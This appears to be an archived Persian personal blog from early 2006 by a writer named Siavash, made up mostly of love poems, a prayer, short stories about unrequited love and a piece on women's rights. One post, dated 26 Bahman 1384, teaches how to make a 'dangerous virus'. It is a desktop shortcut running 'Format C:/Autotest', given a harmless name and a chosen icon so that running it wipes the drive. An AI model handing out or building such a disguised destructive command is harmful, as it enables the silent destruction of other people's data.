![]() |
![]() |
|
| تنهایی همین است |
|
تنهایی
ت:تو اونو دوست داری ولی نمی دونی اون تو رو دوست داره یا نه. ن:نگاهش تمام تنت و می سوزونه. ه:هر لحضه عشقت به اون بیشتر میشه. ا:از هر چی بگذری از اون نه نمی تونی بگذری. ی:یکیه تک تک تو دنیا فقط از اون تو دنیا یکی هست.
|
|
+ نوشته شده در
یکشنبه سی ام بهمن 1384ساعت 20:27 توسط سیاوش |
|
|
خدايا
ذهنم پريشان است قلبم بي قرار است افكارم شوريده اند و درمانده ام پس رشته زندگيم را به دستهاي امن تو ميسپارم آنگاه طوفان ميخوابد و آرامش تو حكمفرما ميشود. |
|
+ نوشته شده در
شنبه بیست و نهم بهمن 1384ساعت 15:5 توسط سیاوش |
|
|
موندن و سوختن و ساختن
کار من نیست کارعشق. بذار تنها باشم تنها بمیرم دیگه از درد و غم آروم بگیرم. برم پیدا کنم یه جای خلوت بشینم اشک بریزم تا قیامت . برو ای دل بخواب که وقت خوابه سلام تو همیشه بی جوابه. به تو بی دست و پا از من نصیحت اگه عاشق بشی خونت خرابه .چرا ای دل تو اینقدر سر به زیری به دام این و اون هر دم اسیری چرا گول میخوری با یک اشاره سحر شد تو هنوز چشمات بیداره. ...................................................................................................... تبسم عشق به روی عاشق نیست آتش عشق سوزاننده عاشق است.یا حق
|
|
+ نوشته شده در
شنبه بیست و نهم بهمن 1384ساعت 14:54 توسط سیاوش |
|
|
خوب مرا نگاه کن تو ای تمام دیدنم
خوبم اگر یا که بدم دروغ نیستم منم مرا که پشت پا زدم به راه و رسم روزگار اگر که عاشقی ویار مرا به خاطر بسپار اگرکه دل سوخته ای با تو غریبه نیستم که با تو بغض عشق را غزل غزل گریستم مرا به خاطر بسپار لحضه به لحضه خط به خط درستی منو ببین در این زمانه غلط حقیقت مرا ببین در این زمانه غلط در آستانه سفرپشت نگاه بدرقه گریه نکن نگاه کن مرا به خاطر بسپار سر همان کوچه سبز که میرسد به انتظار من ایستاده ام هنوزمرا به خاطر بسپار |
|
+ نوشته شده در
جمعه بیست و هشتم بهمن 1384ساعت 21:7 توسط سیاوش |
|
|
دلم گرفته نمیدونم چرا؟ به سرم زد یکی از نوشته های تنهاییمو براتون بنویسم:
در دلم باغی دارم می آرایم باغم را می بویم تک تک برگ درختانش را می گویند روزی باغم سبز بوده ز سبزی سبز بدین زردی گرفتار آمده می گویم در باغم غیر زردی چیزی نیست می گوید آن جوانه را ببین می دانم زیر برگ زرد جوانه ای هست جوانه زیر برگ زرد چه رشدی جوانه زیر برگ زرد بر زردی باغ خواهد افزود خانه زپایبست ویران است امیدی به باغ دلم نیست چه کنم سوختن باغم دودی به چشم من دارد باید ز باغ بیرون آمد باید ترک وطن کرد. |
|
+ نوشته شده در
پنجشنبه بیست و هفتم بهمن 1384ساعت 13:40 توسط سیاوش |
|
|
اسم تو برای من مقدس
تا نفس تو سینه پرپر میزنه باورم کن که فقط باور تو می تونه قفل قفس رو بشکنه منمو یه آسمون بی دریغ منمو یه کوره راه ناگذیر ای ستاره شبای مشرقی پر پرواز منو ازم نگیر ....................................................................... سلام رفقا خیلی مخلصیم مخصوصا شما حمزه جون خیلی میخوامت |
|
+ نوشته شده در
پنجشنبه بیست و هفتم بهمن 1384ساعت 12:38 توسط سیاوش |
|
|
ميخوام نوشتن يه ويروس ساده ولي خطرناكو بهتون ياد بدم. اين ويروس چيز سختي نيست ولی خيلي خطرناكه. اول از همه روي دسكتاپ رايت كليك كنيد بعدش New ShortCut بسازيد. يه صفحه باز ميشه در اون بنويسيد: Format C:/Autotest سپس Next را زده و در صفحه جديد كه باز ميشه يه اسم واسه ويروستون انتخاب كنيد. سپس Next را زده ويه آيكون با سليقه خودتون براي اون انتخاب كرده و Finish كنيد. خب ديگه كارمون تمومه حالا اگه اجراش كنين بيچاره ميشين اگه خواستين بفهمين چي ميشه به جاي Format C:/autotest بنويسيد Format a:/autotest و يه فلاپي كه حاوي اطلاعات هستش در Flopy Drive خود قرار دهيد بعد اجراش كنيد بعد برين سراغ فلاپيتون ببينيد چي شده.ميبينيد فلاپي پاك شده وديگه نه ميشه اطلاعات روش ريخت ونه ميشه فرمتش كرد. موفق باشيد |
|
+ نوشته شده در
چهارشنبه بیست و ششم بهمن 1384ساعت 15:23 توسط سیاوش |
|
|
جریان داستان نه جالبه و نه جذاب ولی واقعیت تلخیه که کم کم داره تو جامعه ایران اشاعه پیدا می کنه ...
روزنامه همشهری مورخه 15/11/1381 واقعا باید گفت متاسفم همین و بس این مطلب رو قبلا تو بلاگم گذاشته بودم ولی بهتر دیدم یه بار دیگه هم بذارمش !
|
|
+ نوشته شده در
سه شنبه بیست و پنجم بهمن 1384ساعت 20:53 توسط سیاوش |
|
|
از دور نگاش میکنم . یه زره جا به جا میشم تا بهتر ببینمش حالا متوجه شده دارم به اون نگاه میکنم غرق چشمای قشنگش میشم وای خدای من کاش ای کاش میشد کاش میتونستم برم جلو بهش بگم دوسش دارم بیشتر از همه بیشتر از خودم کاش نبودم و نمیدیدمش آخه الان نمیتونم تحمل کنم اون ماله یکی دیگه شه .کاش میتونستم مثل بقیه پسرها که حتی الکی میگن دوست دارم برم و از ته دل بهش بگم بهش بگم دووووووووووووووووووووست دارم.
تو همین فکرها هستم که متوجه شدم که دیگه اون رفته .روزها گذشت و من نتونستم قفل سکوت بشکنم و جرات کنم برم جلو نه نتونستم............ امروز بعد از دو سال دوباره دیدمش یه ذره شکسته شده بود گفتم این دفعه دلو میزنم به دریا میرم جلو و بهش میگم چه قدر دوسش دارم و از همون روز اول که تو دانشگاه دیدمش عاشقش شدم آره این دفعه میرم جلو .آماده شدم که برم نزدیکش شدم اوون منو نمیدید حالا چند قدم مانده بود ولی یه چیزی نگرم داشت خشکم زد تو انگشت دست چپش یه حلقه بود آره یه مرد هم سن خودم هم کنارش بود دست تو دست هم داشتن. |
|
+ نوشته شده در
دوشنبه بیست و چهارم بهمن 1384ساعت 21:13 توسط سیاوش |
|
|
تو از شهر غریبه بی نشونی اومدی تو با اسب سفید مهربونی اومدی
|
|
+ نوشته شده در
دوشنبه بیست و چهارم بهمن 1384ساعت 13:23 توسط سیاوش |
|
|
- من اصلا نميفهمم چرا اين پسرا هر کاري دلشون ميخواد ميکنن اما ما دختراي بدبخت ... تو به اروپاييها نگاه کن! ما هم درست مثل اونا نيازمند حقوق برابر هستيم. يعني چي که ما بايد برده پدرا و برادرامون باشيم! من نميفهمم چرا پدرم اجازه نداد رشته دلخواهمو توي شهرستان دنبال کنم اما برادرم تونست براي ادامه تحصيل بره قبرس! يا اصلا همين قضيه عاشق شدن داداش کوچيکم! مادرم وقتي فهميد غش غش زد زير خنده اما اون دفعه که من و پسر همسايه روبروي هم دراومديم و يدفه مادرم هم سررسيد، کلي سين جيم شدم که "با اين پسره چي ميگفتي!" يا همين قضيه کار کردن ... سال چهارم دانشجويي - عشق! جنس مخالف! رمانتيزم! سرکشي! بياف - تو با دختراي ديگه فرق داري. خيلي برام جالبه که مدافع حقوق زنايي. تا هر جا بري جلو منم پشتت هستم.
جياف - مگه اين پسره عاشقت نبود، پس چرا ولت کرد؟
جياف - چرا به خواستگاري پسرخالهات جواب رد دادي؟ براي دختري تو موقعيت تو مورد خوبي بود. 25 سالگي - بلوغ! اميد! جياف - تا دنيا دنياست مرد ايراني همينه! تو نميتوني طرز فکرشو عوض کني. 26 سالگي - عشق تازه! محل آشنايي: سمينار دفاع از حقوق زنان عشق تازه - من عاشق دخترايي مثل توام. عاشق جسارت و سرکشيتون! آغاز نااميدي مطلق: |
|
+ نوشته شده در
دوشنبه بیست و چهارم بهمن 1384ساعت 13:12 توسط سیاوش |
|
|
سلام به رفقا
دوستون دارم یه عالمه هر چی بگم بازم کمه اینم بلاگ ما حالا میخوایم صفا کنیم.
|
|
+ نوشته شده در
دوشنبه بیست و چهارم بهمن 1384ساعت 13:9 توسط سیاوش |
|
|
صفحه نخست پست الکترونیک آرشیو |
| درباره وبلاگ |
دور قلبم حصاری میکشم و روی آن مینویسم ورود ممنوع.ولی میترسم کسی با تیر زهر آلود عشق این حصار مقدس را بشکند.
|
| پیوندهای روزانه |
|
عبور از فیلتر6 عبور از فیلتر5 عبور از فیلتر4 عبور از فیلتر 3 عبور از فیلتر 2 عبور از فیلتر 1 آرشیو پیوندهای روزانه |
| نوشته های پیشین |
|
شهریور 1386 تیر 1386 فروردین 1386 اسفند 1385 بهمن 1385 دی 1385 آبان 1385 شهریور 1385 مرداد 1385 تیر 1385 خرداد 1385 اردیبهشت 1385 فروردین 1385 اسفند 1384 بهمن 1384 |
| پیوندها |
|
آرمان شهر (سید احمد) ستاره های خاموش(حمزه) غم و شادی(کامران) مترسک(محمد) همه چیز تنها یک چیز است(المیرا) شیما ایران جک تنهاترین شراب دل (حسان ) |
|
RSS
|